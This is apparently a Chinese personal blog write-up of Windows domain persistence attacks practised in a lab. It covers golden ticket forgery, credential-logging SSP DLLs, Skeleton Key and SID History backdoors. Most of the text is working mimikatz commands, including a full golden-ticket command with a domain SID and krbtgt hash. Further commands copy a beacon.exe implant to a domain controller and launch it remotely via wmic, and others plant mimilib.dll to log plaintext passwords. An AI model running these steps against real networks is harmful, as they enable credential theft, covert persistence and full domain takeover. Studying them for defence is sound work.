前置,windows域内认证机制
https://payloads.online/archivers/2018-11-30/1
https://www.cnblogs.com/backlion/p/8127868.html
https://www.cnblogs.com/xiaoxiaosen/p/13535868.html
一下内容来源于刘师傅的(我仅作演示和部分理解):
https://note.youdao.com/ynoteshare1/index.html?id=a9b800169e5c24dc57110e35e3cb7d90&type=note
/01 PTT
一,黄金票据伪造原理
AS确认Client端登录者用户身份
KDC返回的Msg B:使用 TGS密钥(KDCHASH/KRBTGT用户NTLMHASH) 加密的TGT(Ticket-Granting-Ticket), 当我们获取到krbtgt用户的NTLM哈希后,便可主动使用krbtgt用户的NTLM哈希做为TGS密钥来生成TGT发送给 KDC,这样KDC如果通过解密伪造TGT获取到伪造的 [CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator 1 并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据
二, 黄金票据伪造条件
制作金票的条件:
-
域名称
-
域的SID值
-
域的KRBTGT账户密码HASH
-
伪造用户名,可以是任意的
三,利用步骤
1.获得域名
1 |
cmd > whoami |
2.获得域内SID
1 |
cmd > whoami /all |
S-1-5-21-2756371121-2868759905-3853650604-500
3.域krbtgt账户ntlm hash或aes-256值
尽量在cs操作,msf有bug呀QWQ
82dfc71b72a11ef37d663047bc2088fb
4.清理是所有票据
1 |
mimikatz kerberos::purge |
5.mimikatz伪造指定用户的票据并注入内存
6.查看票据
1 |
mimikatz kerberos::list |
7.得到域控shell
上传文件CS又bug了QWQ就是msf吧
1 |
upload /home/parrot/beacon.exe C://windows/beacon.exe |
1 |
shell copy C:\windows\beacon.exe \10.10.10.10c$ |
1 |
shell wmic /authority:"kerberos:de1ay.comDC" /node:"DC" process call create "cmd /c c:beacon.exe" |
别问问就拒绝访问
手动启动后
1 |
connect 10.10.10.10 |
四,另外一种利用
CS上操作:
1 |
mimikatz kerberos::purge |
1 |
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604-500 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi |
1 |
mimikatz kerberos::ptt golden.kirbi |
通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中
1 |
mimikatz kerberos::list |
/02 SSP
一,SSP介绍
SSP(security Support Provider),一个用于身份验证的 dll,系统在启动时 SSP 会被加载到 lsass.exe 进程中,由 于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密 码的 dll, 利用mimikatz 中mimilib.dll 文件。
将mimikatz中的mimilib.dll 放到系统的C:Windowssystem32目录下(DLL的位数需要与windows位数相同), 并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果
二,利用
1 |
copy mimilib.dll %systemroot%system32 |
1 |
reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages" |
计算机重启后,如果有用户成功登录到当前系统中,会在 C:windowssystem32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件
- Memory Updating of SSPs
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失
1 |
mimikatz privilege::debug |
/03 Skeleton Key
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。 Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003—Windows Server2012 R2,能够让所有域用户使用同 一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。
在域控安装Skeleton Key:
1 |
mimikatz privilege::debug |
1 |
mimikatz misc::skeleton |
如果不在域控服务器执行会报错
域控执行
域内主机使用Skeleton Key登录域控,mimikatz的默认Skeleton Key设置为mimikatz Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限
1 |
net use \DC.de1ay.com mimikatz /user:[email protected] |
/04 SID history
一,SID
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
SID History是在域迁移过程中需要使用的一个属性。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能 访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁 移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可 以将SID History作为实现持久化的方法。
二,Mimikatz添加后门
1 |
privilege::debug |
1 |
sid::patch |
1 |
sid::add /sam:ming /new:administrator |
卡死了QWQ,环境原因卡死在(sid::add /sam:ming /new:administrator)一运行机器卡死导致无法亲手测试啥你不信贴图啥
可以使用
三,PowerShell查看SID
PowerShell查看ming用户的SID History,
1 |
Import-Module ActiveDirectory |
1 |
Get-ADUser ming -Properties sidhistory |
添加成功应该是这样的,这里因为运行,那原有账号测试
四,验证
验证域用户ming是否有具有administrator权限:
1 |
whoami |
FROM :https://ailumao.cn/ | Author:Ailumao
前言上周六参加『 蓝帽杯 』全国大学生网络安全技能大赛线上决赛记录,先挖个坑等一手之后官方的 WP 。 0x01 签到题操作内容题目给了一些数字: 1[102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109, 101…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论